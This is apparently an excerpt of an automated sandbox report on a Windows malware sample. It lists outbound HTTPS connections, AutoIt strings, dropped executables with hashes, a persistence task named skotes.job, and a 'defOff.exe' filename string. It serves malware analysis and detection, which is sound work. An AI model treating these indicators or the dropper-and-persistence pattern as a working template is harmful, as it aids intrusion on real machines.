Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49914
Source: unknown	Network traffic detected: HTTP traffic on port 50089 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50109 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50050
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50052
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49902
Source: unknown	Network traffic detected: HTTP traffic on port 50069 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50101 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866

Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49844 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49857 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49866 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49874 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49890 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49902 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49914 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49931 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49939 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49949 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49955 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49968 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49983 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50032 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50050 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50066 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50071 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.4:50073 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.4:50078 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.4:50092 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50095 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50096 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.4:50102 version: TLS 1.2

System Summary

Binary is likely a compiled AutoIt script file

Source: f27afcd405.exe, 0000000C.00000000.2586598836.0000000000682000.00000002.00000001.01000000.00000010.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_d1ae58d3-d
Source: f27afcd405.exe, 0000000C.00000000.2586598836.0000000000682000.00000002.00000001.01000000.00000010.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_ccc35266-6
Source: f27afcd405.exe, 00000022.00000002.2860202297.0000000000682000.00000002.00000001.01000000.00000010.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_c9dcd9c2-6
Source: f27afcd405.exe, 00000022.00000002.2860202297.0000000000682000.00000002.00000001.01000000.00000010.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_e62a55d1-9

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: CMI46CXL3718GGL9UBA.exe.0.dr	Static PE information: section name:
Source: CMI46CXL3718GGL9UBA.exe.0.dr	Static PE information: section name: .idata
Source: S39605Y99PQJP70DBWYAE5A.exe.0.dr	Static PE information: section name:
Source: S39605Y99PQJP70DBWYAE5A.exe.0.dr	Static PE information: section name: .idata
Source: S39605Y99PQJP70DBWYAE5A.exe.0.dr	Static PE information: section name:
Source: skotes.exe.5.dr	Static PE information: section name:
Source: skotes.exe.5.dr	Static PE information: section name: .idata
Source: skotes.exe.5.dr	Static PE information: section name:
Source: random[1].exe.7.dr	Static PE information: section name:
Source: random[1].exe.7.dr	Static PE information: section name: .idata
Source: bd73c9fe1b.exe.7.dr	Static PE information: section name:
Source: bd73c9fe1b.exe.7.dr	Static PE information: section name: .idata
Source: random[1].exe0.7.dr	Static PE information: section name:
Source: random[1].exe0.7.dr	Static PE information: section name: .rsrc
Source: random[1].exe0.7.dr	Static PE information: section name: .idata
Source: random[1].exe0.7.dr	Static PE information: section name:
Source: b28f5af0b9.exe.7.dr	Static PE information: section name:
Source: b28f5af0b9.exe.7.dr	Static PE information: section name: .rsrc
Source: b28f5af0b9.exe.7.dr	Static PE information: section name: .idata
Source: b28f5af0b9.exe.7.dr	Static PE information: section name:
Source: SLPBKPVSB544AP3LMUB.exe.8.dr	Static PE information: section name:
Source: SLPBKPVSB544AP3LMUB.exe.8.dr	Static PE information: section name: .idata
Source: 5EQND7K5L8HE276L.exe.8.dr	Static PE information: section name:
Source: 5EQND7K5L8HE276L.exe.8.dr	Static PE information: section name: .idata
Source: 5EQND7K5L8HE276L.exe.8.dr	Static PE information: section name:

PE file has a writeable .text section

Source: num[1].exe.7.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: num.exe.7.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_1_001F2A54	6_1_001F2A54
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_1_00215A58	6_1_00215A58
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_1_0024545A	6_1_0024545A
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_1_001C9495	6_1_001C9495
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_1_001BE9A9	6_1_001BE9A9
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_1_001C19A8	6_1_001C19A8

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe 70CC27DA966C738D1B02FB80CE3743002343A8A7A4B8FE0A908114C723C683E5
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\num[1].exe A8ADDC675FCC27C94FF9E4775BB2E090F4DA1287AAE6B95CECC65CCF533BC61D

Source: file.exe, 00000000.00000003.2042618051.00000000056B8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2040710110.00000000057DE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2031954235.0000000005754000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2033796877.0000000005778000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2041784748.00000000056B6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2030363949.00000000054B2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2032121716.00000000056B2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2033586918.000000000577C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2030588459.00000000056BC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2036836180.00000000056B3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2033372945.0000000005778000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2035893862.0000000005798000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2038095923.00000000057CB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2040178422.00000000057D7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2035684158.0000000005794000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2030684876.0000000005312000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2041012877.00000000056BC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2053857845.00000000052C3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2035581305.00000000056B9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2036725208.00000000057AC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2033053097.00000000056BE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2034656431.0000000005772000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2030474816.0000000005313000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2042187430.00000000056B5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2030764581.00000000056B7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2042934327.00000000057F5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2036951111.00000000057A8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2032311172.000000000580D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2036449555.00000000057AD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2038637495.00000000057B9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2043080243.0000000005941000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2041485243.00000000057EA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2036008881.00000000056B3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2031702669.00000000056B7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2039632578.00000000057D2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2038981119.00000000057C2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2038859756.00000000056BE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2031090983.0000000005754000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2035367102.00000000056B7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2035475958.00000000057A0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2043375493.0000000005807000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2036119101.000000000579A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2032030259.00000000057FB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2031611010.0000000005758000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2039495122.00000000056BE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2031172559.00000000056B9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2042478012.0000000005941000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2031004755.00000000056B9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2042332485.00000000057F6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2038392561.00000000057BB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2037643170.00000000057BF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2037528161.00000000056B5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2034486654.00000000056B2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2035245170.0000000005796000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2034858432.00000000056BE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2034308086.0000000005779000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2039766840.00000000056C0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2038760826.00000000058C3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2032404745.00000000056BF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2034200784.00000000056B5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2037066188.0000000005899000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2037978194.00000000056C1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2042036538.0000000005801000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2037410107.00000000058A7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2037293084.00000000057A7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2035035355.0000000005793000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2035141949.00000000056BC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2032217440.000000000575B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2034099085.000000000583F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2037858504.00000000058CE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2039382599.00000000057D5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2032857378.0000000005764000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2041344859.00000000056B3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2047607355.00000000056BD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2034400193.000000000584E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2039246991.00000000056BF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2033473789.00000000056B9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2040313955.00000000056B7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2033152870.0000000005778000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2033693922.00000000056B9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2037179407.00000000056B3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2040563256.00000000056B2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2034759746.0000000005847000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2053912721.0000000005233000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2035788355.00000000056B6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2036227557.000000000588A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2040875267.0000000005905000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2039906430.00000000057D3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2033267580.00000000056B9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2036612134.00000000056BD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2030844146.000000000574A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2038293122.00000000056B6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2040036191.00000000056BB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2041204807.00000000057E6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2043227156.00000000056BE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2032957927.000000000581E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2041629225.0000000005929000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2030923882.0000000005316000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2038516616.00000000056B2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2031864534.00000000056B2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2039120248.00000000058DB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2036339491.00000000056B5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2040430503.00000000057D4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2031778184.0000000005755000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9981325920846394
Source: S39605Y99PQJP70DBWYAE5A.exe.0.dr	Static PE information: Section: ZLIB complexity 0.998414083787466
Source: S39605Y99PQJP70DBWYAE5A.exe.0.dr	Static PE information: Section: axzfwsyi ZLIB complexity 0.9944146034015653
